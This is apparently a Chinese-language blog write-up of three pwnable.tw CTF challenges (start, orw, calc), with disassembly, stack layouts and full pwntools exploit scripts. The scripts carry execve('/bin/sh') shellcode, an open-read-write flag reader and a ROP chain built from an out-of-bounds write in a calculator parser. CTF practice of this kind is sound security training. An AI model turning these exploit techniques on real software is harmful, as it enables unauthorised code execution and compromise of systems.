骑麦兜看落日

[WriteUp]pwnable.tw

字数统计: 1.6k阅读时长: 8 min
2018/08/25 Share

Pwn


Start


题目信息

Just a start.

nc chall.pwnable.tw 10000

start

First Blood: sces60107

Solved 1896 times.


程序分析

1
2
3
4
5
6
7
8
9
$ file start.dms 
start.dms: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
$ checksec start.dms
[*] '/home/ls/Desktop/start.dms'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

32位程序,静态连接,没有去符号

没有开启保护


解题过程

使用IDA打开程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:08048060 54                             push    esp
.text:08048061 68 9D 80 04 08 push offset _exit
.text:08048066 31 C0 xor eax, eax
.text:08048068 31 DB xor ebx, ebx
.text:0804806A 31 C9 xor ecx, ecx
.text:0804806C 31 D2 xor edx, edx
.text:0804806E 68 43 54 46 3A push ':FTC'
.text:08048073 68 74 68 65 20 push ' eht'
.text:08048078 68 61 72 74 20 push ' tra'
.text:0804807D 68 73 20 73 74 push 'ts s'
.text:08048082 68 4C 65 74 27 push 2774654Ch
.text:08048087 89 E1 mov ecx, esp ; addr
.text:08048089 B2 14 mov dl, 14h ; len
.text:0804808B B3 01 mov bl, 1 ; fd
.text:0804808D B0 04 mov al, 4
.text:0804808F CD 80 int 80h ; LINUX - sys_write
.text:0804808F
.text:08048091 31 DB xor ebx, ebx
.text:08048093 B2 3C mov dl, 3Ch
.text:08048095 B0 03 mov al, 3
.text:08048097 CD 80 int 80h ; LINUX -
.text:08048097
.text:08048099 83 C4 14 add esp, 14h
.text:0804809C C3 retn

程序流程很简单,先进行写操作

1
2
3
4
5
sys_write
al->4
bl->fd
ecx->addr
dl->len

输出结果

1
Let's start the CTF:

然后进行读操作

1
2
3
4
5
sys_read
al->3
bl->fd
ecx->addr
dl->len

这里由于读操作长度为0x3C,可能会覆盖返回地址造成栈溢出

可以将shellcode写到栈上,然后leak出栈的地址返回到shellcode

第一次执行sys_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
esp-> +----------+
| ts s | <- base +18
+----------+
| tra |
+----------+
| eht |
+----------+
| :FTC |
+----------+
| ret2exit | <- base -4
+----------+
| esp | <- base
+----------+
| ... | <- base +4
+----------+

栈上保存了esp的地址,需要注意的是这里的espbase+4中的地址

所以直接溢出到sys_write可以leak出栈地址

第二次执行sys_write

1
2
3
4
5
6
7
8
9
10
11
12
13
      +----------+
| AAAA | <- base +18
+----------+
| ... |
+----------+
| AAAA |
+----------+
| ret2write| <- base -4
esp-> +----------+
| esp | <- base
+----------+
| ... | <- base +4
+----------+

这里就得到了base+4处的地址

再次执行sys_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
      +----------+
| AAAA | <- base +18
+----------+
| ... |
+----------+
| AAAA |
+----------+
| ret2write| <- base -4
+----------+
| esp | <- base
+----------+
| base+4 | <- base +4
esp-> +----------+
| ... | <- base +14
+----------+

计算需要的偏移可以返回到shellcode


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")

exe = './start.dms'
ip = 'chall.pwnable.tw'
port = '10000'

elf = ELF(exe)
#io = process(exe)
io = remote(ip,port)

padding = 'A' * 0x14
write_addr = 0x804808B
payload = padding + p32(write_addr)

io.recv()
io.send(payload)

esp_addr = u32(io.recv()[0x18:0x1c])
shellcode = asm('''xor ecx, ecx
xor edx, edx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80''')
padding = 'A' * (0x2c - len(shellcode))
payload = shellcode + padding + p32(esp_addr - 0x1c)

io.sendline(payload)
io.interactive()

orw


题目信息

Read the flag from /home/orw/flag.

Only open read write syscall are allowed to use.

nc chall.pwnable.tw 10001

orw

First Blood: sces60107

Solved 1338 times.


程序分析

1
2
3
4
5
6
7
8
9
10
$ file orw.dms 
orw.dms: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
$ checksec orw.dms
[*] '/home/ls/Desktop/orw.dms'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

32位,动态链接,没有去符号

开启了canary


解题过程

题目说明了使用系统调用,先调用open打开文件,然后调用read读取到栈中,再通过write输出


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")

exe = './orw.dms'
ip = 'chall.pwnable.tw'
port = '10001'

elf = ELF(exe)
#io = process(exe)
io = remote(ip,port)

shellcode = asm('''xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 0x6761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f

mov ebx, esp
mov al, 5
int 0x80

mov ebx, eax
mov ecx, esp
mov edx, 0x26
mov al, 3
int 0x80

mov ebx, 1
mov ecx, esp
mov edx, 0x26
mov al, 4
int 0x80''')

io.recv()
io.sendline(shellcode)
io.recv()

calc


题目信息

Have you ever use Microsoft calculator?

nc chall.pwnable.tw 10100

calc

First Blood: jinmo123

Solved 593 times.


程序分析

1
2
3
4
5
6
7
8
9
$ file calc.dms 
calc.dms: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
$ checksec calc.dms
[*] '/home/ls/Desktop/calc.dms'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位,静态链接,没有去符号

开启了canary和NX


解题过程

程序是一个计算器,虽然bug不少,但是漏洞很难找

主要运算过程都在parse_expr函数内,算法的核心寻找符号,截断符号之前的数字并运算

1
2
3
4
5
6
num = atoi(numstr);
if ( num > 0 )
{
v4 = (*num_arr)++; // num_arr存储了当前数字的数组,第0项为数字个数
num_arr[v4 + 1] = num;
}

这里是存储数字的核心,通过第0项动态记录数字的个数

这里的判断条件num > 0很关键,由于前边的代码对"0"抛出了异常,所以理论上这个判断条件对于num来说是恒成立的

但是atoi函数在转换失败的时候也会返回0,导致num_attr在没有被赋新的值的情况下进行运算

如果在第一项直接输入符号会导致atoi函数转化失败,num_addr第0项会被设置为运算符号后边第一项的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_DWORD *__cdecl eval(_DWORD *num_arr, char operator)
{
_DWORD *result; // eax

if ( operator == '+' )
{
num_arr[*num_arr - 1] += num_arr[*num_arr];
}
else if ( operator > '+' )
{
if ( operator == '-' )
{
num_arr[*num_arr - 1] -= num_arr[*num_arr];
}
else if ( operator == '/' )
{
num_arr[*num_arr - 1] /= num_arr[*num_arr];
}
}
else if ( operator == '*' )
{
num_arr[*num_arr - 1] *= num_arr[*num_arr];
}
result = num_arr;
--*num_arr;
return result;
}

通过分析这段代码我们发现第0项被改变后仍会进行运算操作,只是运算的结果保存在了第0项所指向的任意地址

1
2
3
4
5
if ( parse_expr((int)&s, &v1) )
{
printf((const char *)&unk_80BF804, v2[v1 - 1]);
fflush(stdout);
}

这段代码打印num_addr第0项纪录的值所对应的地址,发生数组越界后,可以leak出任意地址

据此我们可以构造rop

1
2
3
4
5
6
7
8
9
stack
360 => ebp
361 => ret 0x080701d0 => pop edx; pop ecx; pop ebx; ret
362 => 0
363 => 0
364 => [ebp]
365 => ret 0x0805c34b => pop eax; ret
366 => 11
367 => ret 0x08049a21 => int 0x80

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")

exe = './calc.dms'
ip = 'chall.pwnable.tw'
port = '10100'

elf = ELF(exe)
#io = process(exe)
io = remote(ip,port)

ppp_edx_ecx_ebx_ret = 0x080701d0
p_eax_ret = 0x0805c34b
int80_addr = 0x08049a21

s = '+360'
io.recv()
io.sendline(s)
eebp_addr = int(io.recv())

stack = {361:ppp_edx_ecx_ebx_ret,
362:0,
363:0,
364:eebp_addr,
365:p_eax_ret,
366:11,
367:int80_addr,
368:0x6e69622f,
369:0x0068732f}

for i in sorted(stack):
s = '%+d' % (i)
io.sendline(s)
data = int(io.recv())
s = '%+d%+d' % (i, stack[i]-data)
io.sendline(s)
io.recv()

io.sendline()
io.interactive()

相关资料

[0] https://blog.csdn.net/qq_29343201/article/details/78117065 pwnable.tw calc writeup

CATALOG
  1. 1. Pwn
    1. 1.1. Start
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
    2. 1.2. orw
      1. 1.2.1. 题目信息
      2. 1.2.2. 程序分析
      3. 1.2.3. 解题过程
      4. 1.2.4. EXP
    3. 1.3. calc
      1. 1.3.1. 题目信息
      2. 1.3.2. 程序分析
      3. 1.3.3. 解题过程
      4. 1.3.4. EXP
      5. 1.3.5. 相关资料